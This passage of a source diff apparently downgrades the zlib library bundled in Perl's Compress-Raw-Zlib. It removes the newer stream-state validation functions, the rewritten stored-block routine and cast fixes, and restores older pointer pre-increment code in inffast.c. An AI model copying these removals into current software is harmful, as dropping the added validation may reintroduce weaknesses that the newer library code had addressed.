put_byte(s, (Byte)((s->gzhead->time >> 24) & 0xff)); - put_byte(s, s->level == 9 ? 2 : - (s->strategy >= Z_HUFFMAN_ONLY || s->level < 2 ? - 4 : 0)); - put_byte(s, s->gzhead->os & 0xff); - if (s->gzhead->extra != Z_NULL) { - put_byte(s, s->gzhead->extra_len & 0xff); - put_byte(s, (s->gzhead->extra_len >> 8) & 0xff); + /* Save the adler32 of the preset dictionary: */ + if (s->strstart != 0) { + putShortMSB(s, (uInt)(strm->adler >> 16)); + putShortMSB(s, (uInt)(strm->adler & 0xffff)); } - if (s->gzhead->hcrc) - strm->adler = crc32(strm->adler, s->pending_buf, - s->pending); - s->gzindex = 0; - s->status = EXTRA_STATE; + strm->adler = adler32(0L, Z_NULL, 0); } } +#ifdef GZIP if (s->status == EXTRA_STATE) { if (s->gzhead->extra != Z_NULL) { - ulg beg = s->pending; /* start of bytes to update crc */ - uInt left = (s->gzhead->extra_len & 0xffff) - s->gzindex; - while (s->pending + left > s->pending_buf_size) { - uInt copy = s->pending_buf_size - s->pending; - zmemcpy(s->pending_buf + s->pending, - s->gzhead->extra + s->gzindex, copy); - s->pending = s->pending_buf_size; - HCRC_UPDATE(beg); - s->gzindex += copy; - flush_pending(strm); - if (s->pending != 0) { - s->last_flush = -1; - return Z_OK; + uInt beg = s->pending; /* start of bytes to update crc */ + + while (s->gzindex < (s->gzhead->extra_len & 0xffff)) { + if (s->pending == s->pending_buf_size) { + if (s->gzhead->hcrc && s->pending > beg) + strm->adler = crc32(strm->adler, s->pending_buf + beg, + s->pending - beg); + flush_pending(strm); + beg = s->pending; + if (s->pending == s->pending_buf_size) + break; } - beg = 0; - left -= copy; + put_byte(s, s->gzhead->extra[s->gzindex]); + s->gzindex++; + } + if (s->gzhead->hcrc && s->pending > beg) + strm->adler = crc32(strm->adler, s->pending_buf + beg, + s->pending - beg); + if (s->gzindex == s->gzhead->extra_len) { + s->gzindex = 0; + s->status = NAME_STATE; } - zmemcpy(s->pending_buf + s->pending, - s->gzhead->extra + s->gzindex, left); - s->pending += left; - HCRC_UPDATE(beg); - s->gzindex = 0; } - s->status = NAME_STATE; + else + s->status = NAME_STATE; } if (s->status == NAME_STATE) { if (s->gzhead->name != Z_NULL) { - ulg beg = s->pending; /* start of bytes to update crc */ + uInt beg = s->pending; /* start of bytes to update crc */ int val; + do { if (s->pending == s->pending_buf_size) { - HCRC_UPDATE(beg); + if (s->gzhead->hcrc && s->pending > beg) + strm->adler = crc32(strm->adler, s->pending_buf + beg, + s->pending - beg); flush_pending(strm); - if (s->pending != 0) { - s->last_flush = -1; - return Z_OK; + beg = s->pending; + if (s->pending == s->pending_buf_size) { + val = 1; + break; } - beg = 0; } val = s->gzhead->name[s->gzindex++]; put_byte(s, val); } while (val != 0); - HCRC_UPDATE(beg); - s->gzindex = 0; + if (s->gzhead->hcrc && s->pending > beg) + strm->adler = crc32(strm->adler, s->pending_buf + beg, + s->pending - beg); + if (val == 0) { + s->gzindex = 0; + s->status = COMMENT_STATE; + } } - s->status = COMMENT_STATE; + else + s->status = COMMENT_STATE; } if (s->status == COMMENT_STATE) { if (s->gzhead->comment != Z_NULL) { - ulg beg = s->pending; /* start of bytes to update crc */ + uInt beg = s->pending; /* start of bytes to update crc */ int val; + do { if (s->pending == s->pending_buf_size) { - HCRC_UPDATE(beg); + if (s->gzhead->hcrc && s->pending > beg) + strm->adler = crc32(strm->adler, s->pending_buf + beg, + s->pending - beg); flush_pending(strm); - if (s->pending != 0) { - s->last_flush = -1; - return Z_OK; + beg = s->pending; + if (s->pending == s->pending_buf_size) { + val = 1; + break; } - beg = 0; } val = s->gzhead->comment[s->gzindex++]; put_byte(s, val); } while (val != 0); - HCRC_UPDATE(beg); + if (s->gzhead->hcrc && s->pending > beg) + strm->adler = crc32(strm->adler, s->pending_buf + beg, + s->pending - beg); + if (val == 0) + s->status = HCRC_STATE; } - s->status = HCRC_STATE; + else + s->status = HCRC_STATE; } if (s->status == HCRC_STATE) { if (s->gzhead->hcrc) { - if (s->pending + 2 > s->pending_buf_size) { + if (s->pending + 2 > s->pending_buf_size) flush_pending(strm); - if (s->pending != 0) { - s->last_flush = -1; - return Z_OK; - } + if (s->pending + 2 <= s->pending_buf_size) { + put_byte(s, (Byte)(strm->adler & 0xff)); + put_byte(s, (Byte)((strm->adler >> 8) & 0xff)); + strm->adler = crc32(0L, Z_NULL, 0); + s->status = BUSY_STATE; } - put_byte(s, (Byte)(strm->adler & 0xff)); - put_byte(s, (Byte)((strm->adler >> 8) & 0xff)); - strm->adler = crc32(0L, Z_NULL, 0); } - s->status = BUSY_STATE; + else + s->status = BUSY_STATE; + } +#endif - /* Compression must start with an empty pending buffer */ + /* Flush as much pending output as possible */ + if (s->pending != 0) { flush_pending(strm); - if (s->pending != 0) { + if (strm->avail_out == 0) { + /* Since avail_out is 0, deflate will be called again with + * more output space, but possibly with both pending and + * avail_in equal to zero. There won't be anything to do, + * but this is not an error situation so make sure we + * return OK instead of BUF_ERROR at next call of deflate: + */ s->last_flush = -1; return Z_OK; } + + /* Make sure there is something to do and avoid duplicate consecutive + * flushes. For repeated and useless calls with Z_FINISH, we keep + * returning Z_STREAM_END instead of Z_BUF_ERROR. + */ + } else if (strm->avail_in == 0 && RANK(flush) <= RANK(old_flush) && + flush != Z_FINISH) { + ERR_RETURN(strm, Z_BUF_ERROR); + } + + /* User must not provide more input after the first FINISH: */ + if (s->status == FINISH_STATE && strm->avail_in != 0) { + ERR_RETURN(strm, Z_BUF_ERROR); } -#endif /* Start a new block or continue the current one. */ @@ -996,10 +899,9 @@ int ZEXPORT deflate ( (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) { block_state bstate; - bstate = s->level == 0 ? deflate_stored(s, flush) : - s->strategy == Z_HUFFMAN_ONLY ? deflate_huff(s, flush) : - s->strategy == Z_RLE ? deflate_rle(s, flush) : - (*(configuration_table[s->level].func))(s, flush); + bstate = s->strategy == Z_HUFFMAN_ONLY ? deflate_huff(s, flush) : + (s->strategy == Z_RLE ? deflate_rle(s, flush) : + (*(configuration_table[s->level].func))(s, flush)); if (bstate == finish_started || bstate == finish_done) { s->status = FINISH_STATE; @@ -1041,6 +943,7 @@ int ZEXPORT deflate ( } } } + Assert(strm->avail_out > 0, "bug2"); if (flush != Z_FINISH) return Z_OK; if (s->wrap <= 0) return Z_STREAM_END; @@ -1077,9 +980,18 @@ int ZEXPORT deflateEnd ( { int status; - if (deflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; status = strm->state->status; + if (status != INIT_STATE && + status != EXTRA_STATE && + status != NAME_STATE && + status != COMMENT_STATE && + status != HCRC_STATE && + status != BUSY_STATE && + status != FINISH_STATE) { + return Z_STREAM_ERROR; + } /* Deallocate in reverse order of allocations: */ TRY_FREE(strm, strm->state->pending_buf); @@ -1110,7 +1022,7 @@ int ZEXPORT deflateCopy ( ushf *overlay; - if (deflateStateCheck(source) || dest == Z_NULL) { + if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) { return Z_STREAM_ERROR; } @@ -1160,7 +1072,7 @@ int ZEXPORT deflateCopy ( * allocating a large strm->next_in buffer and copying from it. * (See also flush_pending()). */ -local unsigned read_buf( +local int read_buf( z_streamp strm, Bytef *buf, unsigned size) @@ -1184,7 +1096,7 @@ local unsigned read_buf( strm->next_in += len; strm->total_in += len; - return len; + return (int)len; } /* =========================================================================== @@ -1238,9 +1150,9 @@ local uInt longest_match( { unsigned chain_length = s->max_chain_length;/* max hash chain length */ register Bytef *scan = s->window + s->strstart; /* current string */ - register Bytef *match; /* matched string */ + register Bytef *match; /* matched string */ register int len; /* length of current match */ - int best_len = (int)s->prev_length; /* best match length so far */ + int best_len = s->prev_length; /* best match length so far */ int nice_match = s->nice_match; /* stop if match long enough */ IPos limit = s->strstart > (IPos)MAX_DIST(s) ? s->strstart - (IPos)MAX_DIST(s) : NIL; @@ -1275,7 +1187,7 @@ local uInt longest_match( /* Do not look for matches beyond the end of the input. This is necessary * to make deflate deterministic. */ - if ((uInt)nice_match > s->lookahead) nice_match = (int)s->lookahead; + if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead; Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead"); @@ -1436,11 +1348,7 @@ local uInt longest_match( #endif /* FASTEST */ -#ifdef ZLIB_DEBUG - -#define EQUAL 0 -/* result of memcmp for equal strings */ - +#ifdef DEBUG /* =========================================================================== * Check that the match at match_start is indeed a match. */ @@ -1467,7 +1375,7 @@ local void check_match( } #else # define check_match(s, start, match, length) -#endif /* ZLIB_DEBUG */ +#endif /* DEBUG */ /* =========================================================================== * Fill the window when the lookahead becomes insufficient. @@ -1482,7 +1390,8 @@ local void check_match( local void fill_window( deflate_state *s) { - unsigned n; + register unsigned n, m; + register Posf *p; unsigned more; /* Amount of free space at the end of the window. */ uInt wsize = s->w_size; @@ -1509,11 +1418,35 @@ local void fill_window( */ if (s->strstart >= wsize+MAX_DIST(s)) { - zmemcpy(s->window, s->window+wsize, (unsigned)wsize - more); + zmemcpy(s->window, s->window+wsize, (unsigned)wsize); s->match_start -= wsize; s->strstart -= wsize; /* we now have strstart >= MAX_DIST */ s->block_start -= (long) wsize; - slide_hash(s); + + /* Slide the hash table (could be avoided with 32 bit values + at the expense of memory usage). We slide even when level == 0 + to keep the hash table consistent if we switch back to level > 0 + later. (Using level 0 permanently is not an optimal usage of + zlib, so we don't care about this pathological case.) + */ + n = s->hash_size; + p = &s->head[n]; + do { + m = *--p; + *p = (Pos)(m >= wsize ? m-wsize : NIL); + } while (--n); + + n = wsize; +#ifndef FASTEST + p = &s->prev[n]; + do { + m = *--p; + *p = (Pos)(m >= wsize ? m-wsize : NIL); + /* If n is not on any hash chain, prev[n] is garbage but + * its value will never be used. + */ + } while (--n); +#endif more += wsize; } if (s->strm->avail_in == 0) break; @@ -1619,199 +1552,70 @@ local void fill_window( if (s->strm->avail_out == 0) return (last) ? finish_started : need_more; \ } -/* Maximum stored block length in deflate format (not including header). */ -#define MAX_STORED 65535 - -/* Minimum of a and b. */ -#define MIN(a, b) ((a) > (b) ? (b) : (a)) - /* =========================================================================== * Copy without compression as much as possible from the input stream, return * the current block state. - * - * In case deflateParams() is used to later switch to a non-zero compression - * level, s->matches (otherwise unused when storing) keeps track of the number - * of hash table slides to perform. If s->matches is 1, then one hash table - * slide will be done when switching. If s->matches is 2, the maximum value - * allowed here, then the hash table will be cleared, since two or more slides - * is the same as a clear. - * - * deflate_stored() is written to minimize the number of times an input byte is - * copied. It is most efficient with large input and output buffers, which - * maximizes the opportunites to have a single copy from next_in to next_out. + * This function does not insert new strings in the dictionary since + * uncompressible data is probably not useful. This function is used + * only for the level=0 compression option. + * NOTE: this function should be optimized to avoid extra copying from + * window to pending_buf. */ local block_state deflate_stored( deflate_state *s, int flush) { - /* Smallest worthy block size when not flushing or finishing. By default - * this is 32K. This can be as small as 507 bytes for memLevel == 1. For - * large input and output buffers, the stored block size will be larger. + /* Stored blocks are limited to 0xffff bytes, pending_buf is limited + * to pending_buf_size, and each stored block has a 5 byte header: */ - unsigned min_block = MIN(s->pending_buf_size - 5, s->w_size); + ulg max_block_size = 0xffff; + ulg max_start; - /* Copy as many min_block or larger stored blocks directly to next_out as - * possible. If flushing, copy the remaining available input to next_out as - * stored blocks, if there is enough space. - */ - unsigned len, left, have, last = 0; - unsigned used = s->strm->avail_in; - do { - /* Set len to the maximum size block that we can copy directly with the - * available input data and output space. Set left to how much of that - * would be copied from what's left in the window. - */ - len = MAX_STORED; /* maximum deflate stored block length */ - have = (s->bi_valid + 42) >> 3; /* number of header bytes */ - if (s->strm->avail_out < have) /* need room for header */ - break; - /* maximum stored block length that will fit in avail_out: */ - have = s->strm->avail_out - have; - left = s->strstart - s->block_start; /* bytes left in window */ - if (len > (ulg)left + s->strm->avail_in) - len = left + s->strm->avail_in; /* limit len to the input */ - if (len > have) - len = have; /* limit len to the output */ - - /* If the stored block would be less than min_block in length, or if - * unable to copy all of the available input when flushing, then try - * copying to the window and the pending buffer instead. Also don't - * write an empty block when flushing -- deflate() does that. - */ - if (len < min_block && ((len == 0 && flush != Z_FINISH) || - flush == Z_NO_FLUSH || - len != left + s->strm->avail_in)) - break; + if (max_block_size > s->pending_buf_size - 5) { + max_block_size = s->pending_buf_size - 5; + } - /* Make a dummy stored block in pending to get the header bytes, - * including any pending bits. This also updates the debugging counts. - */ - last = flush == Z_FINISH && len == left + s->strm->avail_in ? 1 : 0; - _tr_stored_block(s, (char *)0, 0L, last); - - /* Replace the lengths in the dummy stored block with len. */ - s->pending_buf[s->pending - 4] = len; - s->pending_buf[s->pending - 3] = len >> 8; - s->pending_buf[s->pending - 2] = ~len; - s->pending_buf[s->pending - 1] = ~len >> 8; - - /* Write the stored block header bytes. */ - flush_pending(s->strm); - -#ifdef ZLIB_DEBUG - /* Update debugging counts for the data about to be copied. */ - s->compressed_len += len << 3; - s->bits_sent += len << 3; -#endif + /* Copy as much as possible from input to output: */ + for (;;) { + /* Fill the window as much as possible: */ + if (s->lookahead <= 1) { - /* Copy uncompressed bytes from the window to next_out. */ - if (left) { - if (left > len) - left = len; - zmemcpy(s->strm->next_out, s->window + s->block_start, left); - s->strm->next_out += left; - s->strm->avail_out -= left; - s->strm->total_out += left; - s->block_start += left; - len -= left; - } + Assert(s->strstart < s->w_size+MAX_DIST(s) || + s->block_start >= (long)s->w_size, "slide too late"); - /* Copy uncompressed bytes directly from next_in to next_out, updating - * the check value. - */ - if (len) { - read_buf(s->strm, s->strm->next_out, len); - s->strm->next_out += len; - s->strm->avail_out -= len; - s->strm->total_out += len; - } - } while (last == 0); + fill_window(s); + if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more; - /* Update the sliding window with the last s->w_size bytes of the copied - * data, or append all of the copied data to the existing window if less - * than s->w_size bytes were copied. Also update the number of bytes to - * insert in the hash tables, in the event that deflateParams() switches to - * a non-zero compression level. - */ - used -= s->strm->avail_in; /* number of input bytes directly copied */ - if (used) { - /* If any input was used, then no unused input remains in the window, - * therefore s->block_start == s->strstart. - */ - if (used >= s->w_size) { /* supplant the previous history */ - s->matches = 2; /* clear hash */ - zmemcpy(s->window, s->strm->next_in - s->w_size, s->w_size); - s->strstart = s->w_size; + if (s->lookahead == 0) break; /* flush the current block */ } - else { - if (s->window_size - s->strstart <= used) { - /* Slide the window down. */ - s->strstart -= s->w_size; - zmemcpy(s->window, s->window + s->w_size, s->strstart); - if (s->matches < 2) - s->matches++; /* add a pending slide_hash() */ - } - zmemcpy(s->window + s->strstart, s->strm->next_in - used, used); - s->strstart += used; + Assert(s->block_start >= 0L, "block gone"); + + s->strstart += s->lookahead; + s->lookahead = 0; + + /* Emit a stored block if pending_buf will be full: */ + max_start = s->block_start + max_block_size; + if (s->strstart == 0 || (ulg)s->strstart >= max_start) { + /* strstart == 0 is possible when wraparound on 16-bit machine */ + s->lookahead = (uInt)(s->strstart - max_start); + s->strstart = (uInt)max_start; + FLUSH_BLOCK(s, 0); + } + /* Flush if we may have to slide, otherwise block_start may become + * negative and the data will be gone: + */ + if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) { + FLUSH_BLOCK(s, 0); } - s->block_start = s->strstart; - s->insert += MIN(used, s->w_size - s->insert); } - if (s->high_water < s->strstart) - s->high_water = s->strstart; - - /* If the last block was written to next_out, then done. */ - if (last) + s->insert = 0; + if (flush == Z_FINISH) { + FLUSH_BLOCK(s, 1); return finish_done; - - /* If flushing and all input has been consumed, then done. */ - if (flush != Z_NO_FLUSH && flush != Z_FINISH && - s->strm->avail_in == 0 && (long)s->strstart == s->block_start) - return block_done; - - /* Fill the window with any remaining input. */ - have = s->window_size - s->strstart - 1; - if (s->strm->avail_in > have && s->block_start >= (long)s->w_size) { - /* Slide the window down. */ - s->block_start -= s->w_size; - s->strstart -= s->w_size; - zmemcpy(s->window, s->window + s->w_size, s->strstart); - if (s->matches < 2) - s->matches++; /* add a pending slide_hash() */ - have += s->w_size; /* more space now */ - } - if (have > s->strm->avail_in) - have = s->strm->avail_in; - if (have) { - read_buf(s->strm, s->window + s->strstart, have); - s->strstart += have; } - if (s->high_water < s->strstart) - s->high_water = s->strstart; - - /* There was not enough avail_out to write a complete worthy or flushed - * stored block to next_out. Write a stored block to pending instead, if we - * have enough input for a worthy block, or if flushing and there is enough - * room for the remaining input as a stored block in the pending buffer. - */ - have = (s->bi_valid + 42) >> 3; /* number of header bytes */ - /* maximum stored block length that will fit in pending: */ - have = MIN(s->pending_buf_size - have, MAX_STORED); - min_block = MIN(have, s->w_size); - left = s->strstart - s->block_start; - if (left >= min_block || - ((left || flush == Z_FINISH) && flush != Z_NO_FLUSH && - s->strm->avail_in == 0 && left <= have)) { - len = MIN(left, have); - last = flush == Z_FINISH && s->strm->avail_in == 0 && - len == left ? 1 : 0; - _tr_stored_block(s, (charf *)s->window + s->block_start, len, last); - s->block_start += len; - flush_pending(s->strm); - } - - /* We've done all we can with the available input and output. */ - return last ? finish_started : need_more; + if ((long)s->strstart > s->block_start) + FLUSH_BLOCK(s, 0); + return block_done; } /* =========================================================================== @@ -2088,7 +1892,7 @@ local block_state deflate_rle( prev == *++scan && prev == *++scan && prev == *++scan && prev == *++scan && scan < strend); - s->match_length = MAX_MATCH - (uInt)(strend - scan); + s->match_length = MAX_MATCH - (int)(strend - scan); if (s->match_length > s->lookahead) s->match_length = s->lookahead; } diff --git a/cpan/Compress-Raw-Zlib/zlib-src/deflate.h b/cpan/Compress-Raw-Zlib/zlib-src/deflate.h index 23ecdd312bc0..0ee924e6e166 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/deflate.h +++ b/cpan/Compress-Raw-Zlib/zlib-src/deflate.h @@ -1,5 +1,5 @@ /* deflate.h -- internal compression state - * Copyright (C) 1995-2016 Jean-loup Gailly + * Copyright (C) 1995-2012 Jean-loup Gailly * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -51,16 +51,13 @@ #define Buf_size 16 /* size of bit buffer in bi_buf */ -#define INIT_STATE 42 /* zlib header -> BUSY_STATE */ -#ifdef GZIP -# define GZIP_STATE 57 /* gzip header -> BUSY_STATE | EXTRA_STATE */ -#endif -#define EXTRA_STATE 69 /* gzip extra block -> NAME_STATE */ -#define NAME_STATE 73 /* gzip file name -> COMMENT_STATE */ -#define COMMENT_STATE 91 /* gzip comment -> HCRC_STATE */ -#define HCRC_STATE 103 /* gzip header CRC -> BUSY_STATE */ -#define BUSY_STATE 113 /* deflate -> FINISH_STATE */ -#define FINISH_STATE 666 /* stream complete */ +#define INIT_STATE 42 +#define EXTRA_STATE 69 +#define NAME_STATE 73 +#define COMMENT_STATE 91 +#define HCRC_STATE 103 +#define BUSY_STATE 113 +#define FINISH_STATE 666 /* Stream status */ @@ -86,7 +83,7 @@ typedef struct static_tree_desc_s static_tree_desc; typedef struct tree_desc_s { ct_data *dyn_tree; /* the dynamic tree */ int max_code; /* largest code with non zero frequency */ - const static_tree_desc *stat_desc; /* the corresponding static tree */ + const static_tree_desc *stat_desc; /* the corresponding static tree */ } FAR tree_desc; typedef ush Pos; @@ -103,10 +100,10 @@ typedef struct internal_state { Bytef *pending_buf; /* output still pending */ ulg pending_buf_size; /* size of pending_buf */ Bytef *pending_out; /* next pending byte to output to the stream */ - ulg pending; /* nb of bytes in the pending buffer */ + uInt pending; /* nb of bytes in the pending buffer */ int wrap; /* bit 0 true for zlib, bit 1 true for gzip */ gz_headerp gzhead; /* gzip header information to write */ - ulg gzindex; /* where in extra, name, or comment */ + uInt gzindex; /* where in extra, name, or comment */ Byte method; /* can only be DEFLATED */ int last_flush; /* value of flush param for previous deflate call */ @@ -252,7 +249,7 @@ typedef struct internal_state { uInt matches; /* number of string matches in current block */ uInt insert; /* bytes at end of window left to insert */ -#ifdef ZLIB_DEBUG +#ifdef DEBUG ulg compressed_len; /* total bit length of compressed file mod 2^32 */ ulg bits_sent; /* bit length of compressed data sent mod 2^32 */ #endif @@ -278,7 +275,7 @@ typedef struct internal_state { /* Output a byte on the stream. * IN assertion: there is enough room in pending_buf. */ -#define put_byte(s, c) {s->pending_buf[s->pending++] = (Bytef)(c);} +#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);} #define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1) @@ -312,7 +309,7 @@ void ZLIB_INTERNAL _tr_stored_block OF((deflate_state *s, charf *buf, * used. */ -#ifndef ZLIB_DEBUG +#ifndef DEBUG /* Inline versions of _tr_tally for speed: */ #if defined(GEN_TREES_H) || !defined(STDC) @@ -331,8 +328,8 @@ void ZLIB_INTERNAL _tr_stored_block OF((deflate_state *s, charf *buf, flush = (s->last_lit == s->lit_bufsize-1); \ } # define _tr_tally_dist(s, distance, length, flush) \ - { uch len = (uch)(length); \ - ush dist = (ush)(distance); \ + { uch len = (length); \ + ush dist = (distance); \ s->d_buf[s->last_lit] = dist; \ s->l_buf[s->last_lit++] = len; \ dist--; \ diff --git a/cpan/Compress-Raw-Zlib/zlib-src/infback.c b/cpan/Compress-Raw-Zlib/zlib-src/infback.c index 7f51a5e6b789..cff17ee2f646 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/infback.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/infback.c @@ -1,5 +1,5 @@ /* infback.c -- inflate using a call-back interface - * Copyright (C) 1995-2016 Mark Adler + * Copyright (C) 1995-2011 Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -61,7 +61,7 @@ int ZEXPORT inflateBackInit_( Tracev((stderr, "inflate: allocated\n")); strm->state = (struct internal_state FAR *)state; state->dmax = 32768U; - state->wbits = (uInt)windowBits; + state->wbits = windowBits; state->wsize = 1U << windowBits; state->window = window; state->wnext = 0; @@ -477,7 +477,6 @@ int ZEXPORT inflateBack( } Tracev((stderr, "inflate: codes ok\n")); state->mode = LEN; - /* FALLTHROUGH */ case LEN: /* use inflate_fast() if we have enough input and output */ diff --git a/cpan/Compress-Raw-Zlib/zlib-src/inffast.c b/cpan/Compress-Raw-Zlib/zlib-src/inffast.c index 1583181cda4f..436b0b2bf6b6 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/inffast.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/inffast.c @@ -1,5 +1,5 @@ /* inffast.c -- fast decoding - * Copyright (C) 1995-2017 Mark Adler + * Copyright (C) 1995-2008, 2010, 2013 Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -8,9 +8,26 @@ #include "inflate.h" #include "inffast.h" -#ifdef ASMINF -# pragma message("Assembler code may have bugs -- use at your own risk") +#ifndef ASMINF + +/* Allow machine dependent optimization for post-increment or pre-increment. + Based on testing to date, + Pre-increment preferred for: + - PowerPC G3 (Adler) + - MIPS R5000 (Randers-Pehrson) + Post-increment preferred for: + - none + No measurable difference: + - Pentium III (Anderson) + - M68060 (Nikl) + */ +#ifdef POSTINC +# define OFF 0 +# define PUP(a) *(a)++ #else +# define OFF 1 +# define PUP(a) *++(a) +#endif /* Decode literal, length, and distance codes and write out the resulting @@ -79,9 +96,9 @@ void ZLIB_INTERNAL inflate_fast( /* copy state to local variables */ state = (struct inflate_state FAR *)strm->state; - in = strm->next_in; + in = strm->next_in - OFF; last = in + (strm->avail_in - 5); - out = strm->next_out; + out = strm->next_out - OFF; beg = out - (start - strm->avail_out); end = out + (strm->avail_out - 257); #ifdef INFLATE_STRICT @@ -102,9 +119,9 @@ void ZLIB_INTERNAL inflate_fast( input data or output space */ do { if (bits < 15) { - hold += (unsigned long)(*in++) << bits; + hold += (unsigned long)(PUP(in)) << bits; bits += 8; - hold += (unsigned long)(*in++) << bits; + hold += (unsigned long)(PUP(in)) << bits; bits += 8; } here = lcode[hold & lmask]; @@ -117,14 +134,14 @@ void ZLIB_INTERNAL inflate_fast( Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ? "inflate: literal '%c'\n" : "inflate: literal 0x%02x\n", here.val)); - *out++ = (unsigned char)(here.val); + PUP(out) = (unsigned char)(here.val); } else if (op & 16) { /* length base */ len = (unsigned)(here.val); op &= 15; /* number of extra bits */ if (op) { if (bits < op) { - hold += (unsigned long)(*in++) << bits; + hold += (unsigned long)(PUP(in)) << bits; bits += 8; } len += (unsigned)hold & ((1U << op) - 1); @@ -133,9 +150,9 @@ void ZLIB_INTERNAL inflate_fast( } Tracevv((stderr, "inflate: length %u\n", len)); if (bits < 15) { - hold += (unsigned long)(*in++) << bits; + hold += (unsigned long)(PUP(in)) << bits; bits += 8; - hold += (unsigned long)(*in++) << bits; + hold += (unsigned long)(PUP(in)) << bits; bits += 8; } here = dcode[hold & dmask]; @@ -148,10 +165,10 @@ void ZLIB_INTERNAL inflate_fast( dist = (unsigned)(here.val); op &= 15; /* number of extra bits */ if (bits < op) { - hold += (unsigned long)(*in++) << bits; + hold += (unsigned long)(PUP(in)) << bits; bits += 8; if (bits < op) { - hold += (unsigned long)(*in++) << bits; + hold += (unsigned long)(PUP(in)) << bits; bits += 8; } } @@ -179,30 +196,30 @@ void ZLIB_INTERNAL inflate_fast( #ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR if (len <= op - whave) { do { - *out++ = 0; + PUP(out) = 0; } while (--len); continue; } len -= op - whave; do { - *out++ = 0; + PUP(out) = 0; } while (--op > whave); if (op == 0) { from = out - dist; do { - *out++ = *from++; + PUP(out) = PUP(from); } while (--len); continue; } #endif } - from = window; + from = window - OFF; if (wnext == 0) { /* very common case */ from += wsize - op; if (op < len) { /* some from window */ len -= op; do { - *out++ = *from++; + PUP(out) = PUP(from); } while (--op); from = out - dist; /* rest from output */ } @@ -213,14 +230,14 @@ void ZLIB_INTERNAL inflate_fast( if (op < len) { /* some from end of window */ len -= op; do { - *out++ = *from++; + PUP(out) = PUP(from); } while (--op); - from = window; + from = window - OFF; if (wnext < len) { /* some from start of window */ op = wnext; len -= op; do { - *out++ = *from++; + PUP(out) = PUP(from); } while (--op); from = out - dist; /* rest from output */ } @@ -231,35 +248,35 @@ void ZLIB_INTERNAL inflate_fast( if (op < len) { /* some from window */ len -= op; do { - *out++ = *from++; + PUP(out) = PUP(from); } while (--op); from = out - dist; /* rest from output */ } } while (len > 2) { - *out++ = *from++; - *out++ = *from++; - *out++ = *from++; + PUP(out) = PUP(from); + PUP(out) = PUP(from); + PUP(out) = PUP(from); len -= 3; } if (len) { - *out++ = *from++; + PUP(out) = PUP(from); if (len > 1) - *out++ = *from++; + PUP(out) = PUP(from); } } else { from = out - dist; /* copy direct from output */ do { /* minimum length is three */ - *out++ = *from++; - *out++ = *from++; - *out++ = *from++; + PUP(out) = PUP(from); + PUP(out) = PUP(from); + PUP(out) = PUP(from); len -= 3; } while (len > 2); if (len) { - *out++ = *from++; + PUP(out) = PUP(from); if (len > 1) - *out++ = *from++; + PUP(out) = PUP(from); } } } @@ -296,8 +313,8 @@ void ZLIB_INTERNAL inflate_fast( hold &= (1U << bits) - 1; /* update state and return */ - strm->next_in = in; - strm->next_out = out; + strm->next_in = in + OFF; + strm->next_out = out + OFF; strm->avail_in = (unsigned)(in < last ? 5 + (last - in) : 5 - (in - last)); strm->avail_out = (unsigned)(out < end ? 257 + (end - out) : 257 - (out - end)); diff --git a/cpan/Compress-Raw-Zlib/zlib-src/inflate.c b/cpan/Compress-Raw-Zlib/zlib-src/inflate.c index d5369c275a25..6047cd884f23 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/inflate.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/inflate.c @@ -1,5 +1,5 @@ /* inflate.c -- zlib decompression - * Copyright (C) 1995-2016 Mark Adler + * Copyright (C) 1995-2012 Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -92,7 +92,6 @@ #endif /* function prototypes */ -local int inflateStateCheck OF((z_streamp strm)); local void fixedtables OF((struct inflate_state FAR *state)); local int updatewindow OF((z_streamp strm, const unsigned char FAR *end, unsigned copy)); @@ -102,26 +101,12 @@ local int updatewindow OF((z_streamp strm, const unsigned char FAR *end, local unsigned syncsearch OF((unsigned FAR *have, const unsigned char FAR *buf, unsigned len)); -local int inflateStateCheck( - z_streamp strm) -{ - struct inflate_state FAR *state; - if (strm == Z_NULL || - strm->zalloc == (alloc_func)0 || strm->zfree == (free_func)0) - return 1; - state = (struct inflate_state FAR *)strm->state; - if (state == Z_NULL || state->strm != strm || - state->mode < HEAD || state->mode > SYNC) - return 1; - return 0; -} - int ZEXPORT inflateResetKeep( z_streamp strm) { struct inflate_state FAR *state; - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; strm->total_in = strm->total_out = state->total = 0; strm->msg = Z_NULL; @@ -146,7 +131,7 @@ int ZEXPORT inflateReset( { struct inflate_state FAR *state; - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; state->wsize = 0; state->whave = 0; @@ -162,7 +147,7 @@ int ZEXPORT inflateReset2( struct inflate_state FAR *state; /* get the state */ - if (inflateStateCheck(strm)) return Z_STREAM_ERROR; + if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; state = (struct inflate_state FAR *)strm->state; /* extract wrap request from windowBits parameter */ @@ -171,7 +156,7 @@ int ZEXPORT inflateReset2( windowBits = -windowBits; } else { - wrap = (windowBits >> 4) + 5; + wrap = (windowBits >> 4) + 1; #ifdef GUNZIP if (windowBits < 48) windowBits &= 15; @@ -225,9 +210,7 @@ int ZEXPORT 